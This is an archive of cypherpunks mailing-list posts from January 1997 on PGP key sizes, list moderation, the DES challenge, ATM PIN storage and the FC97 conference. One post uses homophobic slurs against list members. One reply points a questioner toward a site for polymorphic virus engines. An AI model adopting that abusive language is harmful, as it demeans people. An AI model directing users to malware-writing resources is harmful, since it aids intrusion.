> I am just starting at this. I know that part of RSA/PGP's strength
> comes from the size key you choose. What prevents someone from
> writting a 2048 bit key?  Is it because computers can't handle it? Is
> 1024 top of the prime number size right now? Am I way off track? 

In just about every way possible... :-)

The RSA algorithm can use keys of arbitrary length.

All current versions of PGP allow key sizes up to 2048* bits.  (When
asked for the size of the key to generate, it allows you to select 512,
768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
partially incompatible versions that allow even larger keys, though
there is little reason to go higher. Beyond something like 3100 bits, it
is surmised that the 128-bit IDEA session key is easier to attack. 

As for prime numbers, no, 1024 bits isn't even close to the largest
found (there are of course an infinite number of primes).  The latest
discovery was of a Mersenne prime, the 35th such found. It was 1,398,269
bits long (all 1's, of course).

Tunny 
* OK, there is a minor bug in 2.6.2 that in some cases limits keys to
"only" 2047 bits -- the difference is utterly insignificant in terms of
security.  This message is signed by such a 2047-bit key. 
======================================================================
 James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
 Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
 tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
======================================================================

-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
Comment: which I won in the PGP raffle at Cypherpunks 12/96...

iQEVAgUBMtPCuvAmQsmyRPddAQHQHwf+NcZ54woujQVBRRmmyH3CayYmCial2sLn
py0RvaXP9UGhY+vZU2HgtzaCor32JnrC67LsHH/2XLIEqjpsNzor7YwCtllsl55M
1lo4dkXfjg/jW0ijLTEbbEealRm1LziZVjIrTNsibq1GZ0UdwTb8nPens2iuHZBB
QJZTBkpi0yD8xnWZqvSBwjsdavJUUOy1xU4PgNE4Nr/xbWPA0OwMGOm1MSHFXxHL
xOYJvLR9905mSxh+kNdcf3SpT5JRuBjH6MQmG8GjKRGc8KoXbfUkCiXeSXlygaGA
q2/z2lO4E9eTZvlrsQN1sw8uIoKTnz3YPw9nWjXTeLWx9J7WbeGPSA==
=RzVt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 05:40:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commercial Encryption Packages
In-Reply-To: <970108012908_1416371569@emout17.mail.aol.com>
Message-ID: <XmR8ZD22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AwakenToMe@aol.com writes:

> How much word has there been on any commercial encryption packages (such as
> point n crypt..etc) of any types of backdoors installed in them?

There's been many rumors of a backdoor in DES's S-boxes.

> Any comments or knowledge about this would be good edition to the list :)
Huh?                                                 ^

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 8 Jan 1997 07:05:35 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <199701081608.IAA16175@songbird.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn allegedly said:
> 
> The following table shows cypherpunks subscription activity
> for the period 12 Oct 1996 thru 07 January 1996.
[...]

> Interpretation:
> 
> Unless the reversal of gain/loss in the 5th data row is permanent,
> c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
> 
> Actually, the constant high turnover suggests something else:
> Many people join the list and get back off again due to the high
> volume and their own personal time constraints. 

As a relatively new subscriber I find the single factor most likely 
to get me to leave is the garbage on the list.

And a significant portion of the traffic is discussion about that garbage.

> Unless Sandy can
> cut *way* back on the number of posts to the list, i.e. excise a *lot*
> more postings than just the blatant Spam and "Timmy is a....." posts,
> it won't make any difference to those people who come and go.

No.  The blatant spam and "Timmy isa" posts are more annoying 
than the large volume, at least in my case.  
[...]

> As to the net loss in subscribers, the moderation of the list could
> have a substantial effect on the number of subscribers short-term,
> but whatever trend we have here will continue regardless, since the
> real value and character of the list is not determined by the posts
> which are removed (unless it were that some of the character and value
> is going to be removed), but by long-term factors which are to be
> expected when the principals get older, less involved, and less
> contentious (like Sandy, wanting to avoid conflict).

Moderation may actually cause the list to grow at a faster pace.

While I don't agree with your analysis in the short run, in the long 
run volume on the list will be *the* problem -- just due to the 
growth of the net.  And in the long run, undoubtedly further 
structure will evolve -- there is no meaningful way to deal with say 
10000 messages per day without some way of structuring the flow.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Tunnicliffe <intaus2@ois.net.au>
Date: Tue, 7 Jan 1997 18:00:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Polymorph engine (was:RE: PWL's how ?)
Message-ID: <199701080158.JAA22301@hawk.ois.net.au>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 7/01/97 -0400, you wrote:
>Where did you get the following text on polymorph engines?  Is it available
>somewhere?  Where can I get other information on similar topics (Please resist
>the urge to mention web search engines; I'm looking for specific
>recommendations :-)
>
>Thanks!
>
>- Patrick
>_______________________________________________________________________________

Well try some sitez like Vrack: http://206.117.82.30/vrack/

Neil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 8 Jan 1997 01:07:00 -0800 (PST)
To: "'Dale Thorn'" <cypherpunks@toad.com>
Subject: RE: [STATS] Cypherpunks subscriptions on and off
Message-ID: <c=GB%a=_%p=CTP%l=TRABANT-970108090616Z-4823@trabant.nl.ctp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi Dale,

I am usually lurking cypherpunks, I decided to reply to your message
just to give you an idea of why _I_ subscribed to cypherpunks. (English
is not my first language, not even the second, please forgive me my
grammar monstruosities)

I am very intested in crypto, _application_ of crypto, remailers and
security, I usually trash flames, political/social implication of crypto
and of course commercial emails. Looks like the last 3 categories are
the main topic. I don't have problem in bandwith but I think that if I
was forced to use a phone connection instead of a digital one like I
have now I will unsubscribe to the list since it will not be worth for
me to spend hours in downloading a lot of emails knowing that I will
trash the 90% of them.

I don't want to criticize people who talk all the time about the above
mentioned 3 categories because it is in my understanding that someone is
interested in those and I will remain subscribed to the list just to
pick up the real juice.

Best wishes to all,

Juriaan

>-----Original Message-----
>From:	Dale Thorn [SMTP:dthorn@gte.net]
>Sent:	Wednesday, January 08, 1997 4:06 AM
>To:	cypherpunks@toad.com
>Cc:	freedom-knights@jetcafe.org
>Subject:	[STATS] Cypherpunks subscriptions on and off
>
>The following table shows cypherpunks subscription activity
>for the period 12 Oct 1996 thru 07 January 1996.
>
>Date    ~Days   #Subs   Gain   Loss   Gain / day   Loss / day
>-----   -----   -----   ----   ----   ----------   ----------
>10/12     n/a    1361    n/a    n/a          n/a          n/a
>11/04      23    1353    211    219          9.2          9.5
>11/30      26    1299    173    227          6.7          8.7
>12/18      18    1262    120    157          6.7          8.7
>01/07      20    1291    151    122          7.6          6.1
>        -----   -----   ----   ----   ----------   ----------
>Totals:    87            655    725          7.5          8.3
>
>Interpretation:
>
>Unless the reversal of gain/loss in the 5th data row is permanent,
>c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
>
>Actually, the constant high turnover suggests something else:
>Many people join the list and get back off again due to the high
>volume and their own personal time constraints.  Unless Sandy can
>cut *way* back on the number of posts to the list, i.e. excise a *lot*
>more postings than just the blatant Spam and "Timmy is a....." posts,
>it won't make any difference to those people who come and go.
>
>In effect, Sandy is going to have to cut the number of daily posts
>(to the moderated list) from, say, 100 per day down to, say, 20 or
>25 per day.  This would certainly be a goal of his, since most of the
>subscriber comments I've heard indicate that even 50 posts per day of
>"relevant political/social commentary" is way too high for them.
>
>As to the net loss in subscribers, the moderation of the list could
>have a substantial effect on the number of subscribers short-term,
>but whatever trend we have here will continue regardless, since the
>real value and character of the list is not determined by the posts
>which are removed (unless it were that some of the character and value
>is going to be removed), but by long-term factors which are to be
>expected when the principals get older, less involved, and less
>contentious (like Sandy, wanting to avoid conflict).
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lyle Seaman <lws@transarc.com>
Date: Wed, 8 Jan 1997 07:10:37 -0800 (PST)
To: Liz Taylor <cryptography@c2.net
Subject: Re: The Upcoming DES Challenge
Message-ID: <2.2.32.19970108150757.0062352c@remote.transarc.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:10 PM 1/7/97 -0000, Liz Taylor wrote:
> I don't know anything about bank ATMs
>and the protocols they use, but I presume the PIN is stored on the card
>single DES encrypted. If this is so, anyone can take an ATM card, attack it
>to recover the key and then use that key to recover the PIN for any stolen
>ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
>pair that RSA announces will be a real target like this, with the actual key
>disabled. Once the key is recovered, the press can then claim that ATM
>cards are not safe any longer.

Your self-assessment is admirably accurate, but the presumption is not.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 8 Jan 1997 07:48:33 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
Message-ID: <Pine.SUN.3.95.970108104122.17163J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


I'm not sure I see why a moderator would have any liability for passing on
a trade secret or even a classified military secret so long as the
moderator did not have a contractual relationship (or a clearance, as the
case may be) with the owner.  That's free speech.  The moderator might
have to cooperate with a subpoena from the original owner seeking to find
who stole/released the secret, but that's a different problem.  Is there
some trade secret theory of an implicit trusteeship that i don't know
about? 

On the more general subject of moderator liability, I vaguely recall that
the CDA had some badly-drafted language that was designed to reduce
moderator liability, but that it was so badly worded as to be ambiguous.
I'm just back from a months' trip and sorting through stuff so i don't
have time to look it up.  Anyone got it handy?

PS  I support moderation, at least as an experiment.  

As to the choice of the moderator, innocent until proven guilty, I say. 
I personally don't put much store in requiring a moderator to issue a code
of practice.  Common law and equity will do to evolve a system as it goes
along.

I prefer a system where the rejected posts are in a segregated list so
that they are easy to find.  Not everyone has great tools for merging two
lists to find the differences. Of course, the moderator liability issue is
at its greatest is the moderator creates a "trash" list, also know as a
"sue me" list. I do see how the legal position would be better if you have
an unmoderated list and a separate "best-of" list that is moderated.

Finally,  how about a THIRD list to discuss moderation issues so that it
doesn't clutter up the "best-of" list?  

On Tue, 7 Jan 1997, Greg Broiles wrote:

> 2.	Secrets which are being revealed (e.g., the alleged RC4 source, the
> Mykotronix trash stuff) 

[...]

> 
> The loss of (2) is regrettable; but Usenet (and other unmoderated forums)
> are still available for hit-and-run disclosure of secrets. Also, it's
> unclear to what extent (2) will be lost. Given the recent California and
> Federal statutory changes strengthening trade secret protection, I think
> it's useful to be careful - but it's arguable that neither the alleged RC4
> code nor the Mykotronix trash stuff would have been a trade secret
> violation. Also, let's weigh the value of what'd be lost (how many of these
> messages do we really get?) against the negative value of the crap we're
> currently subjected to, and the (speculative) value of posts we don't get
> because their authors have left the list because of disgust and annoyance.
>



A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: serw30@laf.cioe.com
Date: Wed, 8 Jan 1997 08:14:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
Message-ID: <199701081617.LAA13641@laf.cioe.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Tue, 07 Jan 1997 18:19:55 -0800
> From:          Toto <toto@sk.sympatico.ca>
> Reply-to:      toto@sk.sympatico.ca
> Organization:  TOTO Enterprises
> To:            cypherpunks@toad.com
> Subject:       Moderation and the Polymorphic Virus

> Perhaps with proper moderation, having access to a cloistered
> environment without all of the 'noise', cypherpunks will be able
> to come up with a true polymorphic virus that will make the Atom
> Bomb look like a child's toy.
>   The rabble who rant on endlessly about 'social issues' can 
> surely not be trusted to contribute anything of value on what
> are, in fact, merely a question of 'numbers'.
>   It is up the the elite, the code writers, to lead the cypher-
> punks into a New World Order, in which the results of cryptography
> are only used for proper, approved purposes.
> 
> Toto
> 

 Yes, lets create polymorphic viruses and CPU cycle stealing Java 
applets. Maybe even a new and improved Internet worm...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ulrich Kuehn <kuehn@ESCHER.UNI-MUENSTER.DE>
Date: Wed, 8 Jan 1997 02:36:41 -0800 (PST)
To: Liz Taylor <liz@nym.alias.net>
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <19970107230955.978.qmail@anon.lcs.mit.edu>
Message-ID: <199701081028.LAA23370@nirvana.uni-muenster.de>
MIME-Version: 1.0
Content-Type: text/plain


Liz Taylor writes:
 > There is nothing unglamorous about a known plaintext attack, if the
 > plaintext is choosen carefully. I don't know anything about bank ATMs
 > and the protocols they use, but I presume the PIN is stored on the card
 > single DES encrypted. If this is so, anyone can take an ATM card, attack it
 > to recover the key and then use that key to recover the PIN for any stolen
 > ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
 > pair that RSA announces will be a real target like this, with the actual key
 > disabled. Once the key is recovered, the press can then claim that ATM
 > cards are not safe any longer.
 >
As far as I know, here in Germany (maybe also somewhere else) there is
not the pin stored on the card. Instead, it is regenerated by the ATM
every time using a secret key of the bank. In order to be able to
use the ATM card even with ATMs of different banks, there are offsets
stored on the card that relate to some commonly used pool keys.

Ciao,
Ulrich

-- 
Ulrich Kuehn ------ kuehn@math.uni-muenster.de
        http://wwwmath.uni-muenster.de/~kuehn/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 11:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: The FAGGOT list
In-Reply-To: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108042708Z-100@net.tritro.com.au>
Message-ID: <5Z18ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Brett Carswell <brettc@tritro.com.au> writes:
> Could someone please forward me the URL of the FAGGOT (are the caps
> manditory?) detecting software for mailing lists. I feel pretty left out
> as almost everyone else know who the FAGGOTS are. Is this the same
> software that detects Cocksuckers or does Dr Dimitri have something of
> his own. Maybe we could all band together and come up with something
> that detects Nazi moderators as well.

Everyone who spoke up in favor of moderation is a faggot tentacle.

I hope this helps.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 11:14:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
Message-ID: <9B28ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> The commercials between the movie and news show on the airline include an
> IBM spot on their new Key Recovery software.  Sigh.
> 
> The explanations they gave were mixed; one person was talking about
> making sure that if you lose the key that people with a legitimate need
> to access the material can do it.  The other example they gave, with
> pictures, was along the lines of
> "Suppose you're going on vacation and you want to leave a key with
> a neighbor to feed the dog.  A safe way to do it would be to put your house
> key in a lockbox that needs several keys to open it, and give those keys
> to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
> pretty hungry....
> 

I've been playing around with marina's new ibm thinkpad (real cool
machine) and it allows one to password-protect the hard disk. The
docs claim that if you forget the password, no one will be able to
unlock it for you. Sure... Now why isn't that export-controlled? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: imakumon@ix.netcom.com
Date: Wed, 8 Jan 1997 11:46:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW SERVICE
Message-ID: <199701081946.LAA08029@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Wed, 8 Jan 1997 12:21:58 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: [STATS] Cypherpunks subscriptions on and off
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970108201121Z-13267@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


In October 1993 the membership was around 500 (or less, I think).
Three years later the membership is around 1500 (to account for the
"cypherpunk-list@xxxxxx" type addresses, which are lists-within-lists
containing numerous "hidden" subscribers). 

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:06:47 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <v030078eeaef5fd35084d@[139.167.130.248]>
Message-ID: <Pine.SUN.3.91.970108125105.28929E-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

> Measuring the effectiveness of this exercise, with the ability to peek
> ocassionally into Sandy's sludge pile, keeps the whole thing honest.

I also think it allows the moderator to shoot from the hip a
bit more loosely.  Nothing gets lost, after all, just sorted.
I'm going to cut myself a fair amount of slack for occasional
mis-sorts.

> Go for it, Sandy, and good luck!

Thanks,  I'm sure I'll need it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:15:41 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060306.WAA22463@wauug.erols.com>
Message-ID: <Pine.SUN.3.91.970108125811.28929F-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

David,

You wrote:

> Marc J. Wohler sez:
> > 
> > I have the utmost confidence  in Sandy and his efforts to revive the
> > quality of our list.
> 
> Metoo....
> 
> The alternative was to unsub.

Thanks, I try my best.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:16:32 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <199701062213.XAA20921@internal-mail.systemics.com>
Message-ID: <32D40BF4.3968@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> The Wall Street Cabal (as they say) was genuinely frightened that since
> Milken was so successful with high-yield bonds, they deliberately created
> the term Junk Bonds and flooded the markets with appropriate propaganda,
> and thereby killed off their competition.  How they turned it into a
> criminal offense is truly an art.

  Is this anything similar to, say, calling certain posts by list
members
'spam', flooding the list with 'external' spam, and then using the
resulting
uproar to take care of perceived 'internal' problems?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:18:14 -0800 (PST)
To: Juriaan Massenza <juriaan_massenza@ctp.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <c=GB%a=_%p=CTP%l=TRABANT-970108090616Z-4823@trabant.nl.ctp.com>
Message-ID: <32D40E8F.153E@sk.sympatico.ca>
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Juriaan Massenza wrote:

> I am very intested in crypto, _application_ of crypto, remailers and
> security, I usually trash flames, political/social implication of crypto
> and of course commercial emails.

Juriaan,
  I applaud your interest in crypto, but I think you should keep in mind
that there are people around the world sitting in cement bunkers with
their hand on a key that can launch nuclear mayhem on perfect strangers,
for reasons that will remain unknown to those who set these dark forces
in motion.
  This is the end-result of commentary on the political/social
implications
of a technology being ignored.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Jan 1997 10:19:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Anguilla, Anyone?, Part 2
Message-ID: <v03007884aef98e3cb880@[139.167.130.248]>
MIME-Version: 1.0
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Anguilla, Anyone?, Part 2

FC97 Update, Cypherpunk Edition. January 8, 1997 (FCountdown: A-47)

(Pass this around. Please! :-).)

Financial Cryptography 1997
Conference and Exhibition: February 24-28, 1997
Workshop: February 17-21, 1997
http://offshore.com.ai/fc97/

Sponsors:
The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services
<http://www.offshore.com.ai/>
e$
<http://www.vmeng.com/rah/>
See your name here :-)
<mailto:rackliffe@tcm.org>


Just before the end of the year, Vince Cate posted a note to the FC97
organizer's list and noted that a.) we had a bunch of people signed up for
both the FC97 conference (and for the workshop), that b.) those people's
companies probably wanted to book the registration expenses in 1996, and
c.) didn't we think it was time to charge their credit cards and thus d.)
actually have a conference?

Soooo....

We're actually going to have the world's first conference on financial
cryptography. It'll be:

a.)  in Anguilla,
b.)  during last week of February,
c.)  while it's snowing here in Boston. (Hot damn!)

Which, to confess all, is why I had the idea to begin with, though the idea
has grown a bit since. :-).

It's a good thing that we're actually going to have FC97, too, because, if
you look at the "Deductible Junkets" section Wired magazine, we're the
featured deductible junket for January. It would indeed be a drag to have
made it to that pinnacle of net.trendiness and not have a junket to deduct,
as it were. Not that said net.trendiness was unwanted. No-sir-ee. Somewhere
after imagining what it would be like to *not* to shovel snow out of my
driveway, and *very* shortly after remembering there was a cypherpunk on
*Anguilla*, namely Vince Cate, who could help me with that problem, the
absolute very first picture in my head was exactly that Wired article. FC97
as the featured deductible junket in Wired. I could actually see the
headline: "Financial Cryptography, February 1997, Anguilla, BWI. The
world's first peer-reviewed conference on financial cryptography." I also
figured that only someone as pathogically possessed of the trait of
schmooze as I was could conceive and pull off such a feat. So, now, I
figure, I can die, right? I mean, I've just made the net.schmoozer's hall
of fame. :-).

Well maybe not die. Not just yet, anyway. I'm not quite finished, you see.
For my next trick, I have to actually get *down* there for the conference.
To do that, I pretty much need to sell the conference out. Which, if you
haven't guessed, is why I'm currently in your face with another one of my
gigantic "Anguilla, Anyone?" rants. :-). I have to practically sell FC97
out because, when you work with other people, the guy with the idea (that's
me), especially a guy with an idea for something he has absolutely *no*
capability to actually *do* at all, has to take a back seat to the folks
who actually *do*, er, do things, and hope that their effort makes enough
"thing" left over for him to, um, claim to have done a bit of it himself.
(Yeah. That's it... Any questions? None? Good. Class dismissed...)


So, the first thing I'd like to do here, now that we're actually going to
have a conference, is to thank those "people actually doing things" for
FC97, in chronological order of their involvement in this genuine,
Wired-certified, deductible junket...

Vince Cate, the aformentioned Anguillan cypherpunk, of Offshore Information
Services, in Anguilla <http://www.offshore.com.ai/> is the most important
person to thank. Vince's work so far has been positively heroic. Vince got
us a place to have the conference, the InterIsland Hotel, a very nice
150-seat conference facility with space to spare for 10 exhibition booths
(before we need to find an exhibition annex, anyway ;-). He's made
arrangements with Cable and Wireless to give us as much bandwidth as we
need, practically on demand, proving that, yes, you can have a technical
conference --  with T1 access -- in the wilds of the eastern Carribbean. He
also made deals with the banks down there to handle money wire and credit
card processing, not to mention making arrangements with the vendors of
every internet payment method our customers have requested so far.
Including, I'll add here, ecash, from Digicash, BV
<http://www.digicash.com/> and Mark Twain Bank <http://www.marktwain.com/>.
This is important, because, with the help of Lucky Green of Digicash, and
the folks at Mark Twain Bank, Sameer Parekh of C2NET <http://www.c2.net/>
and FC97 will make the world's largest ecash transaction to date. C2NET
will purchase its booth for FC97, sometime later this month, entirely with
ecash. You heard it here, first, folks, and, of course, you'll hear more
about it later. Believe me. :-). Lots more. I haven't even warmed up the
tonsils yet...

Right now, as we speak, Vince is the guy on the ground in Anguilla, doing
all kinds of things, from renting tables and curtains and power for
exhibition space, to specifiying the hardware and network for the workshop
and exhibition, to scanning the blueprints of the conference space into GIF
files so we could have a floorplan to sell booths with, to getting
estimates so we could cost and budget the conference, to, heh, collecting
the actual money (in nice round non-taxable numbers) at
<http://www.offshore.com.ai/fc97/>. In case you haven't figured it out,
Vince is at the core of the whole enterprise, and he deserves much thanks
for all the work he's done. Not to mention all the work he's gonna do.:-).
Remembering we're at A-47, and counting, and all.

After I got Vince to step up to the plate for all this work, we talked to
Ray Hirschfeld, <mailto: R.Hirschfeld@cwi.nl>, of CWI, who then graciously
accepted our offer of the FC97 conference chairmanship, in exchange for
untold hours of completely donated labor. (I mean, at least, if everything
works out, the rest of us could actually get paid.) Ray organized a
conference committee of absolute stars in the digital commerce and
financial cryptography firmament, including our own cypherpunk law
professor, Michael Froomkin. The list of conference committee luminaries,
includes, to read my own latest press release, "the inventor of Millicent,
the project manager of EU's CAFE digital cash project, the holders of
Citicorp's digital cash patent, two famous scholars in cryptography and
digital commerce law, the President of International Association for
Cryptologic Research, and the Chairman of the Taskforce on the Security of
Electronic Money for the G-10 Central Banks." One of these people is so far
up the food chain at the Fed that people there practically have to cross
themselves when they say his name. So, you can see, Ray is one amazing
conference organizer. Vince and I should have known better, but we couldn't
possibly imagine how successful Ray would be in gathering talent when we
asked him to be the conference chair.

Ray and his outstanding committee are now reading all the papers that have
come in during the last few months; from all over the world, from a great
bunch of authors, on just about every topic in financial cryptography.
Submissions are now closed, but the announcement of the selected papers
will be made to the authors on January 18th, and shortly after that, he'll
announce the conference agenda to the rest of us. You heard it here, first,
folks, and, of course, you'll hear more later. Believe me. :-).

Right about the time I had the idea to ask Ray if he wanted to chair the
conference, I thought about how I could possibly extend my "Island Time"
back another week, and thus avoid the snow shovel even longer. :-). I
thought about a feeder activity of some kind for the conference, and, for a
peer-reviewed conference like FC97, there's no better feeder activity than
a workshop of some kind. I thought about the need to evangelize, to big
corporate cheese (technical and otherwise), about how the world was going
to go when we started doing secure financial transactions on insecure
public networks. About the technology of financial cryptography and digital
commerce, and not just running the old Mastercard through a web-page form,
either. Said cheese were the people most in need of understanding this
impending new reality of ubiquitous geodesic markets, I figured, because,
frankly, as people who made technology decisions for big companies, it was
going to affect their businesses the most. Fortunately, they were also the
people who could afford to pay for a week-long intensive workshop on the
subject. Especially if it was in Anguilla. :-). A financial cryptography
bootcamp, as friend Rodney Thayer called it later. I thought about how cool
it would be to get actual cypherpunks-who-code, who were not likely to get
to the conference under their own power otherwise, to run this workshop.
After the week of the workshop was over, both cheese and
cypherpunks-who-code could go to the conference and hang out like they
owned the place. I'd pay said cypherpunks-who-code a competitive rate for
their time, plus fly them there and back, and feed and house them for three
weeks: the week before the workshop getting the bugs worked out, the week
of the workshop/bootcamp itself, and then the week of the conference,
again, hanging out like they owned the place. Everybody would be happy.

So, when I thought about all that, the first person who came to mind to
actually run this was, of course, Ian Goldberg
<mailto:iang@cs.berkeley.edu>. Ian, besides making himself famous last year
for breaking Netscape's SSL implementation into little bitty random bits
(to their eternal gratitude, I'm sure), is one of the canonical
cypherpunks-who-code these days, having done more pounding on the ecash
code library than anyone else outside of DigiCash, *and* building an FPGA
DES-cracker, all while getting a Ph.D in his spare time. :-). After much
arm-twisting, because he was so busy -- and, because, frankly, before Ray
got that amazing conference committee, we were all nervous about it -- Ian
consented to running the workshop. Sometime next week he'll come out with
the particulars of the workshop itself, including what they're going to
teach, and, who's going to be there to teach it, contingent on how many
workshop participants we get. We're planning on a 5-to-1
cheese-to-cypherpunk ratio, so how many cypherpunks-who-code we can bring
to Anguilla depends on how many workshop seats we can sell. Fortunately,
we've had people already pay for the workshop sight unseen, and, with a
little push, I expect we'll have enough participants to actually have the
workshop. When that happens, you'll hear about it. Believe me. :-).

[Oh. By the way, notice that I've now weaseled myself onto Anguilla *two*
weeks before the conference starts. But wait, there's more. Guess who has
to be there one week before that, to get ready for the instructors. *All*
February in Anguilla? Moi? Nawwww.... ;-).]

Speaking of selling stuff, Julie Rackliffe, <mailto:rackliffe@tcm.org>, is
someone I've known for as long as I've been in Boston. She was practically
the first person I met when I started at Fidelity. She now does fund
raising and function management for the Computer Museum in Boston, and has
done some work in a similar vein for the Digital Commerce Society of Boston
(DCSB), which Peter Cassidy <mailto: pcassidy@world.std.com> and 30
cypherpunks and geeks-with-suits started with me last year. When FC97
started to look bigger than a few guys on a beach with an internet feed, I
knew I needed someone who could professionally manage a small but
high-profile conference and exhibition, and I asked Julie to help us out.
